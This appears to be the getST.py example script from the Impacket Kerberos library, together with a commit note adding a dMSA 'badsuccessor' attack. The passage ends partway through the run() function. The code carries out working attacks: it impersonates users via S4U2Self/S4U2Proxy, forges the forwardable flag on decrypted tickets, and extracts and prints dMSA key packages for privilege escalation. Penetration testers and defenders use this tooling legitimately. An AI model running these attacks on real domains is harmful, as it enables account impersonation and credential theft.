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python_3_14
fortra-impacket/examples/getST.py
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fulc2um 00f43cf714 Add badsuccessor attack example (#2010) 
* added badsuccessor attack changes

* Added explicit error message for SUPERSEDED account in case of KDC_ERR_CLIENT_REVOKED error

* added a link to microsoft docs regarding dmsa set up; fixed a typo

* Added a prerequisite check with a message in case it is not met

* 1. Leveraged logging instead of prints
2. Unified ldaps parameters
3. Renamed PA_DMSA_KEY_PACKAGE to KRB_DMSA_KEY_PACKAGE
4. Refactored ldapConnection to utilize impacket.examples.utils.init_ldap_session
5. Removed "double try" for search_ous replacing with a single one with specified controls value
6. Additional minor fixes

* Adjusted argument handling for -allowed-principals and descriptions for other arguments

* 1. Modified build_security_descriptor function to fix permissions: previously modification of the entry was not impossible with INSUFF_RIGHTS
2. Added modify_dmsa function
3. Cleaned up unused imports

* Minor typo fix: KRB_DMSA_KEY_PACKAGE -> KERB_DMSA_KEY_PACKAGE

* Renamed PA_DMSA_KEY_PACKAGE -> KERB_DMSA_KEY_PACKAGE

* Changed security controls value in search_ous function from 0x15 -> 0x5

---------

Co-authored-by: fulc2um <autouser@localhost>
2025-08-08 17:01:17 -03:00

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#!/usr/bin/env python3
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache
# If the account has constrained delegation (with protocol transition) privileges you will be able to use
# the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to
# request the ticket.)
#
# Similar feature has been implemented already by Benjamin Delpy (@gentilkiwi) in Kekeo (s4u)
#
# Examples:
# ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user
# or
# If you have tickets cached (run klist to verify) the script will use them
# ./getST.py -k -spn cifs/contoso-dc contoso.com/user
# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets
# by default.
#
# Also, if the account is configured with constrained delegation (with protocol transition) you can request
# service tickets for other users, assuming the target SPN is allowed for delegation:
# ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user
#
# The output of this script will be a service ticket for the Administrator user.
#
# Implemented by @fulc2um: you can request a ticket for dMSA account and use it for code execution with privileges of superseded user.
# Microsoft documentation for setting up Delegated Managed Service Accounts (dMSA):
# https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/delegated-managed-service-accounts/delegated-managed-service-accounts-set-up-dmsa
# Assume that dMSA account dmsa$ is dMSA account and Administrator is superseded account:
# ./getST.py -k -no-pass -impersonate dmsa$ -self -dmsa contoso.com/user
#
# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit.
#
# Authors:
# Alberto Solino (@agsolino)
# Charlie Bromberg (@_nwodtuhs)
# Martin Gallo (@MartinGalloAr)
# Dirk-jan Mollema (@_dirkjan)
# Elad Shamir (@elad_shamir)
# @snovvcrash
# Leandro (@0xdeaddood)
# Jake Karnes (@jakekarnes42)
from __future__ import division
from __future__ import print_function
import argparse
import datetime
import logging
import os
import random
import struct
import sys
from binascii import hexlify, unhexlify
from six import ensure_binary
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from pyasn1.type import tag
from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_identity
from impacket.krb5 import constants, types, crypto, ccache
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart, S4UUserID, PA_S4U_X509_USER, KERB_DMSA_KEY_PACKAGE
from impacket.krb5.ccache import CCache, Credential
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key, _get_checksum_profile, Cksumtype
from impacket.krb5.constants import TicketFlags, encodeFlags, ApplicationTagNumbers
from impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT, sendReceive
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.ntlm import compute_nthash
from impacket.winregistry import hexdump
class GETST:
def __init__(self, target, password, domain, options):
self.__password = password
self.__user = target
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__options = options
self.__kdcHost = options.dc_ip
self.__force_forwardable = options.force_forwardable
self.__additional_ticket = options.additional_ticket
self.__dmsa = options.dmsa
self.__saveFileName = None
self.__no_s4u2proxy = options.no_s4u2proxy
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def saveTicket(self, ticket, sessionKey):
ccache = CCache()
if self.__options.altservice is not None:
decodedST = decoder.decode(ticket, asn1Spec=TGS_REP())[0]
sname = decodedST['ticket']['sname']['name-string']
if len(decodedST['ticket']['sname']['name-string']) == 1:
logging.debug("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will fail")
logging.debug("Original sname is: %s" % sname[0])
if '/' not in self.__options.altservice:
raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)")
service_class, service_hostname = ('', sname[0])
service_realm = decodedST['ticket']['realm']
elif len(decodedST['ticket']['sname']['name-string']) == 2:
service_class, service_hostname = decodedST['ticket']['sname']['name-string']
service_realm = decodedST['ticket']['realm']
else:
logging.debug("Original sname is: %s" % '/'.join(sname))
raise ValueError("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...")
if '@' in self.__options.altservice:
new_service_realm = self.__options.altservice.split('@')[1].upper()
if not '.' in new_service_realm:
logging.debug("New service realm is not FQDN, you may encounter errors")
if '/' in self.__options.altservice:
new_service_hostname = self.__options.altservice.split('@')[0].split('/')[1]
new_service_class = self.__options.altservice.split('@')[0].split('/')[0]
else:
logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname)
new_service_hostname = service_hostname
new_service_class = self.__options.altservice.split('@')[0]
else:
logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm)
new_service_realm = service_realm
if '/' in self.__options.altservice:
new_service_hostname = self.__options.altservice.split('/')[1]
new_service_class = self.__options.altservice.split('/')[0]
else:
logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname)
new_service_hostname = service_hostname
new_service_class = self.__options.altservice
if len(service_class) == 0:
current_service = "%s@%s" % (service_hostname, service_realm)
else:
current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm)
new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm)
self.__saveFileName += "@" + new_service.replace("/", "_")
logging.info('Changing service from %s to %s' % (current_service, new_service))
# the values are changed in the ticket
decodedST['ticket']['sname']['name-string'][0] = new_service_class
decodedST['ticket']['sname']['name-string'][1] = new_service_hostname
decodedST['ticket']['realm'] = new_service_realm
ticket = encoder.encode(decodedST)
ccache.fromTGS(ticket, sessionKey, sessionKey)
# the values need to be changed in the ccache credentials
# we already checked everything above, we can simply do the second replacement here
for creds in ccache.credentials:
creds['server'].fromPrincipal(Principal(new_service, type=constants.PrincipalNameType.NT_PRINCIPAL.value))
else:
ccache.fromTGS(ticket, sessionKey, sessionKey)
creds = ccache.credentials[0]
service_realm = creds['server'].realm['data']
service_class = ''
if len(creds['server'].components) == 2:
service_class = creds['server'].components[0]['data']
service_hostname = creds['server'].components[1]['data']
else:
service_hostname = creds['server'].components[0]['data']
if len(service_class) == 0:
service = "%s@%s" % (service_hostname, service_realm)
else:
service = "%s/%s@%s" % (service_class, service_hostname, service_realm)
self.__saveFileName += "@" + service.replace("/", "_")
logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache'))
ccache.saveFile(self.__saveFileName + '.ccache')
def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path):
if not os.path.isfile(additional_ticket_path):
logging.error("Ticket %s doesn't exist" % additional_ticket_path)
exit(0)
else:
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path)
ccache = CCache.loadFile(additional_ticket_path)
principal = ccache.credentials[0].header['server'].prettyPrint()
creds = ccache.getCredential(principal.decode())
TGS = creds.toTGS(principal)
tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(tgs.prettyPrint())
if self.__force_forwardable:
# Convert hashes to binary form, just in case we're receiving strings
if isinstance(nthash, str):
try:
nthash = unhexlify(nthash)
except TypeError:
pass
if isinstance(aesKey, str):
try:
aesKey = unhexlify(aesKey)
except TypeError:
pass
# Compute NTHash and AESKey if they're not provided in arguments
if self.__password != '' and self.__domain != '' and self.__user != '':
if not nthash:
nthash = compute_nthash(self.__password)
if logging.getLogger().level == logging.DEBUG:
logging.debug('NTHash')
print(hexlify(nthash).decode())
if not aesKey:
salt = self.__domain.upper() + self.__user
aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents
if logging.getLogger().level == logging.DEBUG:
logging.debug('AESKey')
print(hexlify(aesKey).decode())
# Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
cipherText = tgs['ticket']['enc-part']['cipher']
# Check which cipher was used to encrypt the ticket. It's not always the same
# This determines which of our keys we should use for decryption/re-encryption
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
if newCipher.enctype == Enctype.RC4:
key = Key(newCipher.enctype, nthash)
else:
key = Key(newCipher.enctype, aesKey)
# Decrypt and decode the ticket
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
plainText = newCipher.decrypt(key, 2, cipherText)
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
# Print the flags in the ticket before modification
logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket from S4U2self is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Customize flags the forwardable flag is the only one that really matters
logging.info('\tForcing the service ticket to be forwardable')
# convert to string of bits
flagBits = encTicketPart['flags'].asBinary()
# Set the forwardable flag. Awkward binary string insertion
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
# Overwrite the value with the new bits
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket now is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Re-encode and re-encrypt the ticket
# Again, Key Usage 2
encodedEncTicketPart = encoder.encode(encTicketPart)
cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
# put it back in the TGS
tgs['ticket']['enc-part']['cipher'] = cipherText
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
# Get the service ticket
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.now(datetime.timezone.utc)
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# Add resource-based constrained delegation support
paPacOptions = PA_PAC_OPTIONS()
paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
logging.info('Requesting S4U2Proxy')
r = sendReceive(message, self.__domain, kdcHost)
return r, None, sessionKey, None
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.now(datetime.timezone.utc)
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print(authenticator.prettyPrint())
print('\n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += ensure_binary(self.__options.impersonate) + ensure_binary(self.__domain) + b'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
paencoded = None
padatatype = None
if self.__dmsa:
nonce_value = random.getrandbits(31)
dmsa_flags = [2, 4] # UNCONDITIONAL_DELEGATION (bit 2) | SIGN_REPLY (bit 4)
encoded_flags = encodeFlags(dmsa_flags)
s4uID = S4UUserID()
s4uID.setComponentByName('nonce', nonce_value)
seq_set(s4uID, 'cname', clientName.components_to_asn1)
s4uID.setComponentByName('crealm', self.__domain)
s4uID.setComponentByName('options', encoded_flags)
encoded_s4uid = encoder.encode(s4uID)
checksum_profile = _get_checksum_profile(Cksumtype.SHA1_AES256)
checkSum = checksum_profile.checksum(
sessionKey,
ApplicationTagNumbers.EncTGSRepPart.value,
encoded_s4uid
)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
s4uID_tagged = S4UUserID().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))
s4uID_tagged.setComponentByName('nonce', nonce_value)
seq_set(s4uID_tagged, 'cname', clientName.components_to_asn1)
s4uID_tagged.setComponentByName('crealm', self.__domain)
s4uID_tagged.setComponentByName('options', encoded_flags)
pa_s4u_x509_user = PA_S4U_X509_USER()
pa_s4u_x509_user.setComponentByName('user-id', s4uID_tagged)
pa_s4u_x509_user['checksum'] = noValue
pa_s4u_x509_user['checksum']['cksumtype'] = Cksumtype.SHA1_AES256
pa_s4u_x509_user['checksum']['checksum'] = checkSum
if logging.getLogger().level == logging.DEBUG:
logging.debug('Built PA_S4U_X509_USER for DMSA:')
print(pa_s4u_x509_user.prettyPrint())
padatatype = int(constants.PreAuthenticationDataTypes.PA_S4U_X509_USER.value)
paencoded = encoder.encode(pa_s4u_x509_user)
else:
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print(paForUserEnc.prettyPrint())
encodedPaForUserEnc = encoder.encode(paForUserEnc)
padatatype = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
paencoded = encodedPaForUserEnc
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = padatatype
tgsReq['padata'][1]['padata-value'] = paencoded
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
if self.__options.u2u:
opts.append(constants.KDCOptions.renewable_ok.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
if self.__no_s4u2proxy and self.__options.spn is not None:
logging.info("When doing S4U2self only, argument -spn is ignored")
if self.__dmsa:
serverName = Principal('krbtgt/%s' % self.__domain, type=constants.PrincipalNameType.NT_SRV_INST.value)
logging.debug('DMSA: Targeting krbtgt/%s service (sname)' % self.__domain)
elif self.__options.u2u:
serverName = Principal(self.__user, self.__domain.upper(), type=constants.PrincipalNameType.NT_UNKNOWN.value)
else:
serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
if self.__options.u2u:
seq_set_iter(reqBody, 'additional-tickets', (ticket.to_asn1(TicketAsn1()),))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print(tgsReq.prettyPrint())
logging.info('Requesting S4U2self%s' % ('+U2U' if self.__options.u2u else ''))
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if self.__dmsa:
try:
# Decrypt TGS-REP enc-part (Key Usage 8 - TGS_REP_EP_SESSION_KEY)
cipher = _enctype_table[int(tgs['enc-part']['etype'])]
plainText = cipher.decrypt(sessionKey, 8, tgs['enc-part']['cipher'])
encTgsRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
if logging.getLogger().level == logging.DEBUG:
print(encTgsRepPart.prettyPrint())
if 'encrypted_pa_data' not in encTgsRepPart or not encTgsRepPart['encrypted_pa_data']:
logging.debug('No encrypted_pa_data found - DMSA key package not present')
return
logging.debug('Found encrypted_pa_data, searching for DMSA key package...')
for padata_entry in encTgsRepPart['encrypted_pa_data']:
padata_type = int(padata_entry['padata-type'])
logging.debug('Found encrypted padata type: %d (0x%x)' % (padata_type, padata_type))
if padata_type == constants.PreAuthenticationDataTypes.KERB_DMSA_KEY_PACKAGE.value:
dmsa_key_package = decoder.decode(
padata_entry['padata-value'],
asn1Spec=KERB_DMSA_KEY_PACKAGE()
)[0]
dmsa_key_package.prettyPrint()
logging.info('Current keys:')
for key in dmsa_key_package['current-keys']:
key_type = int(key['keytype'])
key_value = bytes(key['keyvalue'])
type_name = constants.EncryptionTypes(key_type)
hex_key = hexlify(key_value).decode('utf-8')
logging.info('%s:%s' % (type_name, hex_key))
logging.info('Previous keys:')
for key in dmsa_key_package['previous-keys']:
key_type = int(key['keytype'])
key_value = bytes(key['keyvalue'])
type_name = constants.EncryptionTypes(key_type)
hex_key = hexlify(key_value).decode('utf-8')
logging.info('%s:%s' % (type_name, hex_key))
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
if self.__no_s4u2proxy:
return r, None, sessionKey, None
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(tgs.prettyPrint())
if self.__force_forwardable:
# Convert hashes to binary form, just in case we're receiving strings
if isinstance(nthash, str):
try:
nthash = unhexlify(nthash)
except TypeError:
pass
if isinstance(aesKey, str):
try:
aesKey = unhexlify(aesKey)
except TypeError:
pass
# Compute NTHash and AESKey if they're not provided in arguments
if self.__password != '' and self.__domain != '' and self.__user != '':
if not nthash:
nthash = compute_nthash(self.__password)
if logging.getLogger().level == logging.DEBUG:
logging.debug('NTHash')
print(hexlify(nthash).decode())
if not aesKey:
salt = self.__domain.upper() + self.__user
aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents
if logging.getLogger().level == logging.DEBUG:
logging.debug('AESKey')
print(hexlify(aesKey).decode())
# Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
cipherText = tgs['ticket']['enc-part']['cipher']
# Check which cipher was used to encrypt the ticket. It's not always the same
# This determines which of our keys we should use for decryption/re-encryption
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
if newCipher.enctype == Enctype.RC4:
key = Key(newCipher.enctype, nthash)
else:
key = Key(newCipher.enctype, aesKey)
# Decrypt and decode the ticket
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
plainText = newCipher.decrypt(key, 2, cipherText)
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
# Print the flags in the ticket before modification
logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket from S4U2self is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Customize flags the forwardable flag is the only one that really matters
logging.info('\tForcing the service ticket to be forwardable')
# convert to string of bits
flagBits = encTicketPart['flags'].asBinary()
# Set the forwardable flag. Awkward binary string insertion
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
# Overwrite the value with the new bits
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket now is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Re-encode and re-encrypt the ticket
# Again, Key Usage 2
encodedEncTicketPart = encoder.encode(encTicketPart)
cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
# put it back in the TGS
tgs['ticket']['enc-part']['cipher'] = cipherText
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
# Get the service ticket
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.now(datetime.timezone.utc)
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# Add resource-based constrained delegation support
paPacOptions = PA_PAC_OPTIONS()
paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
logging.info('Requesting S4U2Proxy')
r = sendReceive(message, self.__domain, kdcHost)
return r, None, sessionKey, None
def run(self):
tgt = None
# Do we have a TGT cached?
domain, _, TGT, _ = CCache.parseFile(self.__domain)
# ToDo: Check this TGT belogns to the right principal
if TGT is not None:
tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']
oldSessionKey = sessionKey
if tgt is None:
# Still no TGT
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
logging.info('Getting TGT for user')
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash), unhexlify(self.__nthash),
self.__aesKey,
self.__kdcHost)
logging.debug("TGT session key: %s" % hexlify(sessionKey.contents).decode())
# Ok, we have valid TGT, let's try to get a service ticket
if self.__options.impersonate is None:
if self.__options.renew is True:
logging.info("Renewing TGT")
# Normal TGS interaction
else:
logging.info('Getting ST for user')
serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
